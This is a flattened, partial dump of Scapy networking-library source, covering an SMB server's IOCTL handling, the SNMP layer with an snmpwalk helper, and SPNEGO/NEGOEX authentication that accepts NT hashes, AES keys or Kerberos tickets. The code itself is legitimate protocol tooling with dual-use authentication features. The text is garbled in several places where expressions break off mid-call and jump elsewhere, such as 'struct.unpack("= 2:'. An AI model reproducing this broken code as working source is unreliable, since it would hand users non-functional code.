pkt): self.update_smbheader(pkt) if pkt.CtlCode == 0x11C017: # FSCTL_PIPE_TRANSCEIVE self.rpc_server.recv(pkt.Input.load) self.send( self.smb_header.copy() / SMB2_IOCTL_Response( CtlCode=0x11C017, FileId=pkt[SMB2_IOCTL_Request].FileId, Buffer=[("Output", self.rpc_server.get_response())], ) ) elif pkt.CtlCode == 0x00140204 and self.session.sspcontext.SessionKey: # FSCTL_VALIDATE_NEGOTIATE_INFO # This is a security measure asking the server to validate # what flags were negotiated during the SMBNegotiate exchange. # This packet is ALWAYS signed, and expects a signed response. # https://docs.microsoft.com/en-us/archive/blogs/openspecification/smb3-secure-dialect-negotiation # > "Down-level servers (pre-Windows 2012) will return # > STATUS_NOT_SUPPORTED or STATUS_INVALID_DEVICE_REQUEST # > since they do not allow or implement # > FSCTL_VALIDATE_NEGOTIATE_INFO. # > The client should accept the # > response provided it's properly signed". if (self.session.Dialect or 0) < 0x0300: # SMB < 3 isn't supposed to support FSCTL_VALIDATE_NEGOTIATE_INFO self._ioctl_error(Status="STATUS_FILE_CLOSED") return # SMB3 self.send( self.smb_header.copy() / SMB2_IOCTL_Response( CtlCode=0x00140204, FileId=pkt[SMB2_IOCTL_Request].FileId, Buffer=[ ( "Output", SMB2_IOCTL_Validate_Negotiate_Info_Response( GUID=self.GUID, DialectRevision=self.session.Dialect, SecurityMode=( "SIGNING_ENABLED+SIGNING_REQUIRED" if self.session.SigningRequired else "SIGNING_ENABLED" ), Capabilities=self.NegotiateCapabilities, ), ) ], ) ) elif pkt.CtlCode == 0x001401FC: # FSCTL_QUERY_NETWORK_INTERFACE_INFO self.send( self.smb_header.copy() / SMB2_IOCTL_Response( CtlCode=0x001401FC, FileId=pkt[SMB2_IOCTL_Request].FileId, Output=SMB2_IOCTL_Network_Interface_Info( interfaces=[ NETWORK_INTERFACE_INFO( SockAddr_Storage=SOCKADDR_STORAGE( Family=0x0002, IPv4Adddress=x, ) ) for x in self.LOCAL_IPS ] ), ) ) elif pkt.CtlCode == 0x00060194: # FSCTL_DFS_GET_REFERRALS if ( self.DOMAIN_REFERRALS and not pkt[SMB2_IOCTL_Request].Input.RequestFileName ): # Requesting domain referrals self.send( self.smb_header.copy() / SMB2_IOCTL_Response( CtlCode=0x00060194, FileId=pkt[SMB2_IOCTL_Request].FileId, Output=SMB2_IOCTL_RESP_GET_DFS_Referral( ReferralEntries=[ DFS_REFERRAL_V3( ReferralEntryFlags="NameListReferral", TimeToLive=600, ) for _ in self.DOMAIN_REFERRALS ], ReferralBuffer=[ DFS_REFERRAL_ENTRY1(SpecialName=name) for name in self.DOMAIN_REFERRALS ], ), ) ) return resp = self.smb_header.copy() / SMB2_Error_Response() resp.Command = "SMB2_IOCTL" resp.Status = "STATUS_FS_DRIVER_REQUIRED" self.send(resp) else: # Among other things, FSCTL_VALIDATE_NEGOTIATE_INFO self._ioctl_error(Status="STATUS_NOT_SUPPORTED") @ATMT.receive_condition(SERVING) def receive_create_file(self, pkt): if SMB2_Create_Request in pkt: raise self.SERVING().action_parameters(pkt) PIPES_TABLE = { "srvsvc": SMB2_FILEID(Persistent=0x4000000012, Volatile=0x4000000001), "wkssvc": SMB2_FILEID(Persistent=0x4000000013, Volatile=0x4000000002), "NETLOGON": SMB2_FILEID(Persistent=0x4000000014, Volatile=0x4000000003), } # special handle in case of compounded requests ([MS-SMB2] 3.2.4.1.4) # that points to the chained opened file handle LAST_HANDLE = SMB2_FILEID( Persistent=0xFFFFFFFFFFFFFFFF, Volatile=0xFFFFFFFFFFFFFFFF ) def current_smb_time(self): return ( FileNetworkOpenInformation().get_field("CreationTime").i2m(None, None) - 864000000000 # one day ago ) def make_file_id(self, fname): """ Generate deterministic FileId based on the fname """ hash = hashlib.md5((fname or "").encode()).digest() return 0x4000000000 | struct.unpack("= 2: log_runtime.info("-- Scapy %s SMB Server --" % conf.version) log_runtime.info( "SSP: %s. Read-Only: %s. Serving %s shares:" % ( conf.color_theme.yellow(ssp or "NTLM (guest)"), ( conf.color_theme.yellow("YES") if readonly else conf.color_theme.format("NO", "bg_red+white") ), conf.color_theme.red(len(shares)), ) ) for share in shares: log_runtime.info(" * %s" % share) # Start SMB Server self.srv = SMB_Server.spawn( # TCP server port=port, iface=iface or conf.loopback_name, verb=verb, # SMB server ssp=ssp, shares=shares, readonly=readonly, # SMB arguments **kwargs, ) def close(self): """ Close the smbserver if started in background mode (bg=True) """ if self.srv: try: self.srv.shutdown(socket.SHUT_RDWR) except OSError: pass self.srv.close() if __name__ == "__main__": from scapy.utils import AutoArgparse AutoArgparse(smbserver) ================================================ FILE: scapy/layers/snmp.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi """ SNMP (Simple Network Management Protocol). """ from scapy.packet import bind_layers, bind_bottom_up from scapy.asn1packet import ASN1_Packet from scapy.asn1fields import ASN1F_INTEGER, ASN1F_IPADDRESS, ASN1F_OID, \ ASN1F_SEQUENCE, ASN1F_SEQUENCE_OF, ASN1F_STRING, ASN1F_TIME_TICKS, \ ASN1F_enum_INTEGER, ASN1F_field, ASN1F_CHOICE, ASN1F_optional, ASN1F_NULL from scapy.asn1.asn1 import ASN1_Class_UNIVERSAL, ASN1_Codecs, ASN1_NULL, \ ASN1_SEQUENCE from scapy.asn1.ber import BERcodec_SEQUENCE from scapy.sendrecv import sr1 from scapy.volatile import RandShort, IntAutoTime from scapy.layers.inet import UDP, IP, ICMP # Import needed to initialize conf.mib from scapy.asn1.mib import conf # noqa: F401 ########## # SNMP # ########## # [ ASN1 class ] # class ASN1_Class_SNMP(ASN1_Class_UNIVERSAL): name = "SNMP" PDU_GET = 0xa0 PDU_NEXT = 0xa1 PDU_RESPONSE = 0xa2 PDU_SET = 0xa3 PDU_TRAPv1 = 0xa4 PDU_BULK = 0xa5 PDU_INFORM = 0xa6 PDU_TRAPv2 = 0xa7 class ASN1_SNMP_PDU_GET(ASN1_SEQUENCE): tag = ASN1_Class_SNMP.PDU_GET class ASN1_SNMP_PDU_NEXT(ASN1_SEQUENCE): tag = ASN1_Class_SNMP.PDU_NEXT class ASN1_SNMP_PDU_RESPONSE(ASN1_SEQUENCE): tag = ASN1_Class_SNMP.PDU_RESPONSE class ASN1_SNMP_PDU_SET(ASN1_SEQUENCE): tag = ASN1_Class_SNMP.PDU_SET class ASN1_SNMP_PDU_TRAPv1(ASN1_SEQUENCE): tag = ASN1_Class_SNMP.PDU_TRAPv1 class ASN1_SNMP_PDU_BULK(ASN1_SEQUENCE): tag = ASN1_Class_SNMP.PDU_BULK class ASN1_SNMP_PDU_INFORM(ASN1_SEQUENCE): tag = ASN1_Class_SNMP.PDU_INFORM class ASN1_SNMP_PDU_TRAPv2(ASN1_SEQUENCE): tag = ASN1_Class_SNMP.PDU_TRAPv2 # [ BER codecs ] # class BERcodec_SNMP_PDU_GET(BERcodec_SEQUENCE): tag = ASN1_Class_SNMP.PDU_GET class BERcodec_SNMP_PDU_NEXT(BERcodec_SEQUENCE): tag = ASN1_Class_SNMP.PDU_NEXT class BERcodec_SNMP_PDU_RESPONSE(BERcodec_SEQUENCE): tag = ASN1_Class_SNMP.PDU_RESPONSE class BERcodec_SNMP_PDU_SET(BERcodec_SEQUENCE): tag = ASN1_Class_SNMP.PDU_SET class BERcodec_SNMP_PDU_TRAPv1(BERcodec_SEQUENCE): tag = ASN1_Class_SNMP.PDU_TRAPv1 class BERcodec_SNMP_PDU_BULK(BERcodec_SEQUENCE): tag = ASN1_Class_SNMP.PDU_BULK class BERcodec_SNMP_PDU_INFORM(BERcodec_SEQUENCE): tag = ASN1_Class_SNMP.PDU_INFORM class BERcodec_SNMP_PDU_TRAPv2(BERcodec_SEQUENCE): tag = ASN1_Class_SNMP.PDU_TRAPv2 # [ ASN1 fields ] # class ASN1F_SNMP_PDU_GET(ASN1F_SEQUENCE): ASN1_tag = ASN1_Class_SNMP.PDU_GET class ASN1F_SNMP_PDU_NEXT(ASN1F_SEQUENCE): ASN1_tag = ASN1_Class_SNMP.PDU_NEXT class ASN1F_SNMP_PDU_RESPONSE(ASN1F_SEQUENCE): ASN1_tag = ASN1_Class_SNMP.PDU_RESPONSE class ASN1F_SNMP_PDU_SET(ASN1F_SEQUENCE): ASN1_tag = ASN1_Class_SNMP.PDU_SET class ASN1F_SNMP_PDU_TRAPv1(ASN1F_SEQUENCE): ASN1_tag = ASN1_Class_SNMP.PDU_TRAPv1 class ASN1F_SNMP_PDU_BULK(ASN1F_SEQUENCE): ASN1_tag = ASN1_Class_SNMP.PDU_BULK class ASN1F_SNMP_PDU_INFORM(ASN1F_SEQUENCE): ASN1_tag = ASN1_Class_SNMP.PDU_INFORM class ASN1F_SNMP_PDU_TRAPv2(ASN1F_SEQUENCE): ASN1_tag = ASN1_Class_SNMP.PDU_TRAPv2 # [ SNMP Packet ] # SNMP_error = {0: "no_error", 1: "too_big", 2: "no_such_name", 3: "bad_value", 4: "read_only", 5: "generic_error", 6: "no_access", 7: "wrong_type", 8: "wrong_length", 9: "wrong_encoding", 10: "wrong_value", 11: "no_creation", 12: "inconsistent_value", 13: "resource_unavailable", 14: "commit_failed", 15: "undo_failed", 16: "authorization_error", 17: "not_writable", 18: "inconsistent_name", } SNMP_trap_types = {0: "cold_start", 1: "warm_start", 2: "link_down", 3: "link_up", 4: "auth_failure", 5: "egp_neigh_loss", 6: "enterprise_specific", } class SNMPvarbind(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_OID("oid", "1.3"), ASN1F_optional( ASN1F_field("value", ASN1_NULL(0)) ), # exceptions in responses ASN1F_optional(ASN1F_NULL("noSuchObject", None, implicit_tag=0x80)), ASN1F_optional(ASN1F_NULL("noSuchInstance", None, implicit_tag=0x81)), ASN1F_optional(ASN1F_NULL("endOfMibView", None, implicit_tag=0x82)), ) class SNMPget(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SNMP_PDU_GET(ASN1F_INTEGER("id", 0), ASN1F_enum_INTEGER("error", 0, SNMP_error), ASN1F_INTEGER("error_index", 0), ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind) # noqa: E501 ) class SNMPnext(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SNMP_PDU_NEXT(ASN1F_INTEGER("id", 0), ASN1F_enum_INTEGER("error", 0, SNMP_error), ASN1F_INTEGER("error_index", 0), ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind) # noqa: E501 ) class SNMPresponse(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SNMP_PDU_RESPONSE(ASN1F_INTEGER("id", 0), ASN1F_enum_INTEGER("error", 0, SNMP_error), # noqa: E501 ASN1F_INTEGER("error_index", 0), ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind) # noqa: E501 ) class SNMPset(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SNMP_PDU_SET(ASN1F_INTEGER("id", 0), ASN1F_enum_INTEGER("error", 0, SNMP_error), ASN1F_INTEGER("error_index", 0), ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind) # noqa: E501 ) class SNMPtrapv1(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SNMP_PDU_TRAPv1(ASN1F_OID("enterprise", "1.3"), ASN1F_IPADDRESS("agent_addr", "0.0.0.0"), ASN1F_enum_INTEGER("generic_trap", 0, SNMP_trap_types), # noqa: E501 ASN1F_INTEGER("specific_trap", 0), ASN1F_TIME_TICKS("time_stamp", IntAutoTime()), # noqa: E501 ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind) # noqa: E501 ) class SNMPbulk(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SNMP_PDU_BULK(ASN1F_INTEGER("id", 0), ASN1F_INTEGER("non_repeaters", 0), ASN1F_INTEGER("max_repetitions", 0), ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind) # noqa: E501 ) class SNMPinform(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SNMP_PDU_INFORM(ASN1F_INTEGER("id", 0), ASN1F_enum_INTEGER("error", 0, SNMP_error), # noqa: E501 ASN1F_INTEGER("error_index", 0), ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind) # noqa: E501 ) class SNMPtrapv2(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SNMP_PDU_TRAPv2(ASN1F_INTEGER("id", 0), ASN1F_enum_INTEGER("error", 0, SNMP_error), # noqa: E501 ASN1F_INTEGER("error_index", 0), ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind) # noqa: E501 ) class SNMP(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_enum_INTEGER("version", 1, {0: "v1", 1: "v2c", 2: "v2", 3: "v3"}), # noqa: E501 ASN1F_STRING("community", "public"), ASN1F_CHOICE("PDU", SNMPget(), SNMPget, SNMPnext, SNMPresponse, SNMPset, SNMPtrapv1, SNMPbulk, SNMPinform, SNMPtrapv2) ) def answers(self, other): return (isinstance(self.PDU, SNMPresponse) and isinstance(other.PDU, (SNMPget, SNMPnext, SNMPset)) and self.PDU.id == other.PDU.id) bind_bottom_up(UDP, SNMP, sport=161) bind_bottom_up(UDP, SNMP, dport=161) bind_bottom_up(UDP, SNMP, sport=162) bind_bottom_up(UDP, SNMP, dport=162) bind_layers(UDP, SNMP, sport=161, dport=161) def snmpwalk(dst, oid="1", community="public"): try: while True: r = sr1(IP(dst=dst) / UDP(sport=RandShort()) / SNMP(community=community, PDU=SNMPnext(varbindlist=[SNMPvarbind(oid=oid)])), timeout=2, chainCC=1, verbose=0, retry=2) # noqa: E501 if r is None: print("No answers") break if ICMP in r: print(repr(r)) break print("%-40s: %r" % (r[SNMPvarbind].oid.val, r[SNMPvarbind].value)) oid = r[SNMPvarbind].oid except KeyboardInterrupt: pass ================================================ FILE: scapy/layers/spnego.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Gabriel Potter """ SPNEGO Implements parts of: - GSSAPI SPNEGO: RFC4178 > RFC2478 - GSSAPI SPNEGO NEGOEX: [MS-NEGOEX] .. note:: You will find more complete documentation for this layer over at `GSSAPI `_ """ import os import struct from uuid import UUID from scapy.asn1.asn1 import ( ASN1_Codecs, ASN1_OID, ASN1_GENERAL_STRING, ) from scapy.asn1.mib import conf # loads conf.mib from scapy.asn1fields import ( ASN1F_CHOICE, ASN1F_ENUMERATED, ASN1F_FLAGS, ASN1F_GENERAL_STRING, ASN1F_OID, ASN1F_optional, ASN1F_PACKET, ASN1F_SEQUENCE_OF, ASN1F_SEQUENCE, ASN1F_STRING_ENCAPS, ASN1F_STRING, ) from scapy.asn1packet import ASN1_Packet from scapy.fields import ( FieldListField, LEIntEnumField, LEIntField, LELongEnumField, LELongField, LEShortField, MultipleTypeField, PacketField, PacketListField, StrField, StrFixedLenField, UUIDEnumField, UUIDField, XStrFixedLenField, XStrLenField, ) from scapy.error import log_runtime from scapy.packet import Packet, bind_layers from scapy.utils import ( valid_ip, valid_ip6, ) from scapy.layers.gssapi import ( _GSSAPI_OIDS, _GSSAPI_SIGNATURE_OIDS, GSS_C_FLAGS, GSS_C_NO_CHANNEL_BINDINGS, GSS_S_BAD_MECH, GSS_S_COMPLETE, GSS_S_CONTINUE_NEEDED, GSS_S_FAILURE, GSS_S_FLAGS, GSSAPI_BLOB_SIGNATURE, GSSAPI_BLOB, GssChannelBindings, SSP, ) # SSP Providers from scapy.layers.kerberos import ( Kerberos, KerberosSSP, _parse_spn, _parse_upn, ) from scapy.layers.ntlm import ( NTLMSSP, MD4le, NEGOEX_EXCHANGE_NTLM, NTLM_Header, _NTLMPayloadField, _NTLMPayloadPacket, ) # Typing imports from typing import ( Dict, List, Optional, Tuple, ) # SPNEGO negTokenInit # https://datatracker.ietf.org/doc/html/rfc4178#section-4.2.1 class SPNEGO_MechType(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_OID("oid", None) class SPNEGO_MechTypes(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE_OF("mechTypes", None, SPNEGO_MechType) class SPNEGO_MechListMIC(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_STRING_ENCAPS("value", "", GSSAPI_BLOB_SIGNATURE) _mechDissector = { "1.3.6.1.4.1.311.2.2.10": NTLM_Header, # NTLM "1.2.840.48018.1.2.2": Kerberos, # MS KRB5 - Microsoft Kerberos 5 "1.2.840.113554.1.2.2": Kerberos, # Kerberos 5 "1.2.840.113554.1.2.2.3": Kerberos, # Kerberos 5 - User to User } class _SPNEGO_Token_Field(ASN1F_STRING): def i2m(self, pkt, x): if x is None: x = b"" return super(_SPNEGO_Token_Field, self).i2m(pkt, bytes(x)) def m2i(self, pkt, s): dat, r = super(_SPNEGO_Token_Field, self).m2i(pkt, s) types = None if isinstance(pkt.underlayer, SPNEGO_negTokenInit): types = pkt.underlayer.mechTypes elif isinstance(pkt.underlayer, SPNEGO_negTokenResp): types = [pkt.underlayer.supportedMech] if types and types[0] and types[0].oid.val in _mechDissector: return _mechDissector[types[0].oid.val](dat.val), r else: # Use heuristics return GSSAPI_BLOB(dat.val), r class SPNEGO_Token(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = _SPNEGO_Token_Field("value", None) _ContextFlags = [ "delegFlag", "mutualFlag", "replayFlag", "sequenceFlag", "superseded", "anonFlag", "confFlag", "integFlag", ] class SPNEGO_negHints(ASN1_Packet): # [MS-SPNG] 2.2.1 ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_optional( ASN1F_GENERAL_STRING( "hintName", "not_defined_in_RFC4178@please_ignore", explicit_tag=0xA0 ), ), ASN1F_optional( ASN1F_GENERAL_STRING("hintAddress", None, explicit_tag=0xA1), ), ) class SPNEGO_negTokenInit(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_optional( ASN1F_SEQUENCE_OF("mechTypes", None, SPNEGO_MechType, explicit_tag=0xA0) ), ASN1F_optional(ASN1F_FLAGS("reqFlags", None, _ContextFlags, implicit_tag=0x81)), ASN1F_optional( ASN1F_PACKET("mechToken", None, SPNEGO_Token, explicit_tag=0xA2) ), # [MS-SPNG] flavor ! ASN1F_optional( ASN1F_PACKET("negHints", None, SPNEGO_negHints, explicit_tag=0xA3) ), ASN1F_optional( ASN1F_PACKET("mechListMIC", None, SPNEGO_MechListMIC, explicit_tag=0xA4) ), # Compat with RFC 4178's SPNEGO_negTokenInit ASN1F_optional( ASN1F_PACKET("_mechListMIC", None, SPNEGO_MechListMIC, explicit_tag=0xA3) ), ) # SPNEGO negTokenTarg # https://datatracker.ietf.org/doc/html/rfc4178#section-4.2.2 class SPNEGO_negTokenResp(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_optional( ASN1F_ENUMERATED( "negState", 0, { 0: "accept-completed", 1: "accept-incomplete", 2: "reject", 3: "request-mic", }, explicit_tag=0xA0, ), ), ASN1F_optional( ASN1F_PACKET( "supportedMech", SPNEGO_MechType(), SPNEGO_MechType, explicit_tag=0xA1 ), ), ASN1F_optional( ASN1F_PACKET("responseToken", None, SPNEGO_Token, explicit_tag=0xA2) ), ASN1F_optional( ASN1F_PACKET("mechListMIC", None, SPNEGO_MechListMIC, explicit_tag=0xA3) ), ) class SPNEGO_negToken(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_CHOICE( "token", SPNEGO_negTokenInit(), ASN1F_PACKET( "negTokenInit", SPNEGO_negTokenInit(), SPNEGO_negTokenInit, explicit_tag=0xA0, ), ASN1F_PACKET( "negTokenResp", SPNEGO_negTokenResp(), SPNEGO_negTokenResp, explicit_tag=0xA1, ), ) # Register for the GSS API Blob _GSSAPI_OIDS["1.3.6.1.5.5.2"] = SPNEGO_negToken _GSSAPI_SIGNATURE_OIDS["1.3.6.1.5.5.2"] = SPNEGO_negToken def mechListMIC(oids): """ Implementation of RFC 4178 - Appendix D. mechListMIC Computation NOTE: The documentation on mechListMIC isn't super clear, so note that: - The mechListMIC that the client sends is computed over the list of mechanisms that it requests. - the mechListMIC that the server sends is computed over the list of mechanisms that the client requested. This also means that NegTokenInit2 added by [MS-SPNG] is NOT protected. That's not necessarily an issue, since it was optional in most cases, but it's something to keep in mind. """ return bytes(SPNEGO_MechTypes(mechTypes=oids)) # NEGOEX # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-negoex/0ad7a003-ab56-4839-a204-b555ca6759a2 _NEGOEX_AUTH_SCHEMES = { # Reversed. Is there any doc related to this? # The NEGOEX doc is very ellusive UUID("5c33530d-eaf9-0d4d-b2ec-4ae3786ec308"): "UUID('[NTLM-UUID]')", } class NEGOEX_MESSAGE_HEADER(Packet): fields_desc = [ StrFixedLenField("Signature", "NEGOEXTS", length=8), LEIntEnumField( "MessageType", 0, { 0x0: "INITIATOR_NEGO", 0x01: "ACCEPTOR_NEGO", 0x02: "INITIATOR_META_DATA", 0x03: "ACCEPTOR_META_DATA", 0x04: "CHALLENGE", 0x05: "AP_REQUEST", 0x06: "VERIFY", 0x07: "ALERT", }, ), LEIntField("SequenceNum", 0), LEIntField("cbHeaderLength", None), LEIntField("cbMessageLength", None), UUIDField("ConversationId", None), ] def post_build(self, pkt, pay): if self.cbHeaderLength is None: pkt = pkt[16:] + struct.pack(" bytes """Util function to build the offset and populate the lengths""" for field_name, value in self.fields["Payload"]: length = self.get_field("Payload").fields_map[field_name].i2len(self, value) count = self.get_field("Payload").fields_map[field_name].i2count(self, value) offset = fields[field_name] # Offset if self.getfieldval(field_name + "BufferOffset") is None: p = p[:offset] + struct.pack(" bytes return ( _NEGOEX_post_build( self, pkt, self.OFFSET, { "AuthScheme": 96, "Extension": 102, }, ) + pay ) @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and len(_pkt) >= 12: MessageType = struct.unpack(" None: """ Perform SSP negotiation. This updates our context and sets it with the first SSP that is common to both client and server. This also applies rules from [MS-SPNG] and RFC4178 to determine if mechListMIC is required. """ if self.other_mechtypes is None: # We don't have any information about the peer's preferred SSPs. # This typically happens on client side, when NegTokenInit2 isn't used. self.ssp = self.ssps[0] ssp_oid = self.ssp.GSS_Inquire_names_for_mech()[0] else: # Get first common SSP between us and our peer other_oids = [x.oid.val for x in self.other_mechtypes] try: self.ssp, ssp_oid = next( (ssp, requested_oid) for requested_oid in other_oids for ssp in self.ssps if requested_oid in ssp.GSS_Inquire_names_for_mech() ) except StopIteration: raise ValueError( "Could not find a common SSP with the remote peer !" ) # Check whether the selected SSP was the one preferred by the client self.first_choice = ssp_oid == other_oids[0] # Check whether mechListMIC is mandatory for this exchange if not self.first_choice: # RFC4178 rules for mechListMIC: mandatory if not the first choice. self.require_mic = True elif ssp_oid == "1.3.6.1.4.1.311.2.2.10" and self.ssp.SupportsMechListMIC(): # [MS-SPNG] note 8: "If NTLM authentication is most preferred by # the client and the server, and the client includes a MIC in # AUTHENTICATE_MESSAGE, then the mechListMIC field becomes # mandatory" self.require_mic = True # Get the associated ssp dissection class and mechtype self.ssp_mechtype = SPNEGO_MechType(oid=ASN1_OID(ssp_oid)) # Reset the ssp context self.ssp_context = None # Passthrough attributes and functions def clifailure(self): if self.ssp_context is not None: self.ssp_context.clifailure() def __getattr__(self, attr): try: return object.__getattribute__(self, attr) except AttributeError: return getattr(self.ssp_context, attr) def __setattr__(self, attr, val): try: return object.__setattr__(self, attr, val) except AttributeError: return setattr(self.ssp_context, attr, val) # Passthrough the flags property @property def flags(self): if self.ssp_context: return self.ssp_context.flags return GSS_C_FLAGS(0) @flags.setter def flags(self, x): if not self.ssp_context: return self.ssp_context.flags = x def __repr__(self): return "SPNEGOSSP[%s]" % repr(self.ssp_context) def __init__(self, ssps: List[SSP], **kwargs): self.ssps = ssps super(SPNEGOSSP, self).__init__(**kwargs) @classmethod def from_cli_arguments( cls, UPN: str, target: str, password: str = None, HashNt: bytes = None, HashAes256Sha96: bytes = None, HashAes128Sha96: bytes = None, kerberos_required: bool = False, ST=None, TGT=None, KEY=None, ccache: str = None, debug: int = 0, use_krb5ccname: bool = False, ): """ Initialize a SPNEGOSSP from a list of many arguments. This is useful in a CLI, with NTLM and Kerberos supported by default. :param UPN: the UPN of the user to use. :param target: the target IP/hostname entered by the user. :param kerberos_required: require kerberos :param password: (string) if provided, used for auth :param HashNt: (bytes) if provided, used for auth (NTLM) :param HashAes256Sha96: (bytes) if provided, used for auth (Kerberos) :param HashAes128Sha96: (bytes) if provided, used for auth (Kerberos) :param ST: if provided, the service ticket to use (Kerberos) :param TGT: if provided, the TGT to use (Kerberos) :param KEY: if ST provided, the session key associated to the ticket (Kerberos). This can be either for the ST or TGT. Else, the user secret key. :param ccache: (str) if provided, a path to a CCACHE (Kerberos) :param use_krb5ccname: (bool) if true, the KRB5CCNAME environment variable will be used if available. """ kerberos = True hostname = None # Check if target is a hostname / Check IP if ":" in target: if not valid_ip6(target): hostname = target else: if not valid_ip(target): hostname = target # Check UPN try: _, realm = _parse_upn(UPN) if realm == ".": # Local kerberos = False except ValueError: # not a UPN: NTLM only kerberos = False # If we're asked, check the environment for KRB5CCNAME if use_krb5ccname and ccache is None and "KRB5CCNAME" in os.environ: ccache = os.environ["KRB5CCNAME"] # Do we need to ask the password? if all( x is None for x in [ ST, password, HashNt, HashAes256Sha96, HashAes128Sha96, ccache, ] ): # yes. from prompt_toolkit import prompt password = prompt("Password: ", is_password=True) ssps = [] # Kerberos if kerberos and hostname: # Get ticket if we don't already have one. if ST is None and TGT is None and ccache is not None: # In this case, load the KerberosSSP from ccache from scapy.modules.ticketer import Ticketer # Import into a Ticketer object t = Ticketer() t.open_ccache(ccache) # Look for the ticket that we'll use. We chose: # - either a ST if the UPN and SPN matches our target # - or a ST that matches the UPN # - else a TGT if we got nothing better tgts = [] sts = [] for i, (tkt, key, upn, spn) in t.enumerate_tickets(): spn, _ = _parse_spn(spn) spn_host = spn.split("/")[-1] # Check that it's for the correct user if upn.lower() == UPN.lower(): # Check that it's either a TGT or a ST to the correct service if spn.lower().startswith("krbtgt/"): # TGT. Keep it, and see if we don't have a better ST. tgts.append(t.ssp(i)) elif hostname.lower() == spn_host.lower(): # ST. UPN and SPN match. We're done ! ssps.append(t.ssp(i)) break else: # ST. UPN matches, Keep it sts.append(t.ssp(i)) else: # No perfect ticket found if tgts: # Using a TGT ! ssps.append(tgts[0]) elif sts: # Using a ST where at least the UPN matched ! ssps.append(sts[0]) else: # Nothing found t.show() raise ValueError( f"Could not find a ticket for {upn}, either a " f"TGT or towards {hostname}" ) elif ST is None and TGT is None: # In this case, KEY is supposed to be the user's key. from scapy.libs.rfc3961 import Key, EncryptionType if KEY is None and HashAes256Sha96: KEY = Key( EncryptionType.AES256_CTS_HMAC_SHA1_96, HashAes256Sha96, ) elif KEY is None and HashAes128Sha96: KEY = Key( EncryptionType.AES128_CTS_HMAC_SHA1_96, HashAes128Sha96, ) elif KEY is None and HashNt: KEY = Key( EncryptionType.RC4_HMAC, HashNt, ) # Make a SSP that only has a UPN and secret. ssps.append( KerberosSSP( UPN=UPN, PASSWORD=password, KEY=KEY, debug=debug, ) ) else: # We have a ST, use it with the key. ssps.append( KerberosSSP( UPN=UPN, ST=ST, TGT=TGT, KEY=KEY, debug=debug, ) ) elif kerberos_required: raise ValueError( "Kerberos required but domain not specified in the UPN, " "or target isn't a hostname !" ) # NTLM if not kerberos_required: if HashNt is None and password is not None: HashNt = MD4le(password) if HashNt is not None: ssps.append(NTLMSSP(UPN=UPN, HASHNT=HashNt)) if not ssps: raise ValueError("Unexpected case ! Please report.") # Build the SSP return cls(ssps) def NegTokenInit2(self): """ Server-Initiation of GSSAPI/SPNEGO. See [MS-SPNG] sect 3.2.5.2 """ Context = SPNEGOSSP.CONTEXT(list(self.ssps)) return ( Context, GSSAPI_BLOB( innerToken=SPNEGO_negToken( token=SPNEGO_negTokenInit( mechTypes=Context.get_supported_mechtypes(), negHints=SPNEGO_negHints( hintName=ASN1_GENERAL_STRING( "not_defined_in_RFC4178@please_ignore" ), ), ) ) ), ) # NOTE: NegoEX has an effect on how the SecurityContext is # initialized, as detailed in [MS-AUTHSOD] sect 3.3.2 # But the format that the Exchange token uses appears not to # be documented :/ # resp.SecurityBlob.innerToken.token.mechTypes.insert( # 0, # # NEGOEX # SPNEGO_MechType(oid="1.3.6.1.4.1.311.2.2.30"), # ) # resp.SecurityBlob.innerToken.token.mechToken = SPNEGO_Token( # value=negoex_token # ) # noqa: E501 def GSS_WrapEx(self, Context, *args, **kwargs): # Passthrough return Context.ssp.GSS_WrapEx(Context.ssp_context, *args, **kwargs) def GSS_UnwrapEx(self, Context, *args, **kwargs): # Passthrough return Context.ssp.GSS_UnwrapEx(Context.ssp_context, *args, **kwargs) def GSS_GetMICEx(self, Context, *args, **kwargs): # Passthrough return Context.ssp.GSS_GetMICEx(Context.ssp_context, *args, **kwargs) def GSS_VerifyMICEx(self, Context, *args, **kwargs): # Passthrough return Context.ssp.GSS_VerifyMICEx(Context.ssp_context, *args, **kwargs) def LegsAmount(self, Context: CONTEXT): return 4 def MapStatusToNegState(self, status: int) -> int: """ Map a GSSAPI return code to SPNEGO negState codes """ if status == 